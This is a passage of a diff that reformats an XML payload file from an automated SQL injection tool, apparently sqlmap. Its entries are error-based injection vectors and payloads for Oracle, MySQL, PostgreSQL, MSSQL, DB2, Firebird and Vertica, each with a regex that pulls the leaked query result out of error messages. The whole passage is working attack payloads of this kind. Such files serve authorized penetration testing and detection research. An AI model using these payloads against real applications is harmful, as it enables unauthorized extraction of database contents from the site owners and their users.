([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -634,7 +726,9 @@
<where>1</where> <where>1</where>
<vector>AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload> <payload>AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN
([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -653,7 +747,9 @@
<where>2</where> <where>2</where>
<vector>OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload> <payload>OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN
([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -672,7 +768,9 @@
<where>1</where> <where>1</where>
<vector>AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload> <payload>AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN
([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -691,7 +789,9 @@
<where>2</where> <where>2</where>
<vector>OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload> <payload>OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN
([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -710,7 +810,9 @@
<where>1</where> <where>1</where>
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload> <payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM
RDB$DATABASE)||'[DELIMITER_STOP]')
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -729,7 +831,9 @@
<where>2</where> <where>2</where>
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload> <payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM
RDB$DATABASE)||'[DELIMITER_STOP]')
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -748,7 +852,9 @@
<where>1</where> <where>1</where>
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload> <payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE
CODE(48) END)||'[DELIMITER_STOP]')
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -767,7 +873,9 @@
<where>2</where> <where>2</where>
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload> <payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE
CODE(48) END)||'[DELIMITER_STOP]')
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -786,7 +894,10 @@
<where>1</where> <where>1</where>
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector> <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
<request> <request>
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload> <payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN
BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0'))
END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -805,7 +916,10 @@
<where>2</where> <where>2</where>
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector> <vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
<request> <request>
<payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload> <payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN
BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0'))
END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -824,7 +938,9 @@
<where>1</where> <where>1</where>
<vector>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload> <payload>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM])
THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -843,7 +959,9 @@
<where>1</where> <where>1</where>
<vector>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload> <payload>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN
1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -867,9 +985,13 @@
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,4,5</clause> <clause>1,2,3,4,5</clause>
<where>1</where> <where>1</where>
<vector>PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')),1)</vector> <vector>PROCEDURE
ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')),1)
</vector>
<request> <request>
<payload>PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')),1)</payload> <payload>PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN
([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')),1)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -889,13 +1011,17 @@
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,9</clause> <clause>1,2,3,9</clause>
<where>3</where> <where>3</where>
<vector>(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</vector> <vector>(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s),
8446744073709551610, 8446744073709551610)))
</vector>
<request> <request>
<!-- These work as good as ELT(), but are longer <!-- These work as good as ELT(), but are longer
<payload>(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> <payload>(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
<payload>(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> <payload>(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
--> -->
<payload>(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> <payload>(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -915,7 +1041,9 @@
<where>3</where> <where>3</where>
<vector>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector> <vector>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
<request> <request>
<payload>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload> <payload>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -935,7 +1063,9 @@
<where>3</where> <where>3</where>
<vector>GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector> <vector>GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request> <request>
<payload>GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload> <payload>GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -953,9 +1083,13 @@
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,9</clause> <clause>1,2,3,9</clause>
<where>3</where> <where>3</where>
<vector>JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))</vector> <vector>JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING
utf8)))
</vector>
<request> <request>
<payload>JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))</payload> <payload>JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -973,13 +1107,19 @@
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,9</clause> <clause>1,2,3,9</clause>
<where>3</where> <where>3</where>
<vector>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector> <vector>(SELECT [RANDNUM] FROM(SELECT
COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
</vector>
<request> <request>
<!-- These work as good as ELT(), but are longer <!-- These work as good as ELT(), but are longer
<payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload> <payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
<payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload> <payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
--> -->
<payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload> <payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS
GROUP BY x)a)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1003,7 +1143,9 @@
<payload>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1]))</payload> <payload>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1]))</payload>
<payload>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]))</payload> <payload>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]))</payload>
--> -->
<payload>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]))</payload> <payload>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1027,7 +1169,9 @@
<payload>(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')))</payload> <payload>(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')))</payload>
<payload>(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')))</payload> <payload>(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')))</payload>
--> -->
<payload>(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')))</payload> <payload>(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1047,7 +1191,9 @@
<where>3</where> <where>3</where>
<vector>(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector> <vector>(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector>
<request> <request>
<payload>(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))</payload> <payload>(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0
END))::text||'[DELIMITER_STOP]' AS NUMERIC))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1066,7 +1212,9 @@
<where>3</where> <where>3</where>
<vector>(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector> <vector>(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector>
<request> <request>
<payload>(CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC))</payload> <payload>(CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN
([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1085,7 +1233,9 @@
<where>3</where> <where>3</where>
<vector>(CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')))</vector> <vector>(CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')))</vector>
<request> <request>
<payload>(CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))</payload> <payload>(CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0'
END))+'[DELIMITER_STOP]')))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1105,7 +1255,9 @@
<where>3</where> <where>3</where>
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector> <vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')</payload> <payload>(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0'
END))+'[DELIMITER_STOP]')
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1123,9 +1275,13 @@
<risk>1</risk> <risk>1</risk>
<clause>1,3</clause> <clause>1,3</clause>
<where>3</where> <where>3</where>
<vector>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector> <vector>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),'
','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
</vector>
<request> <request>
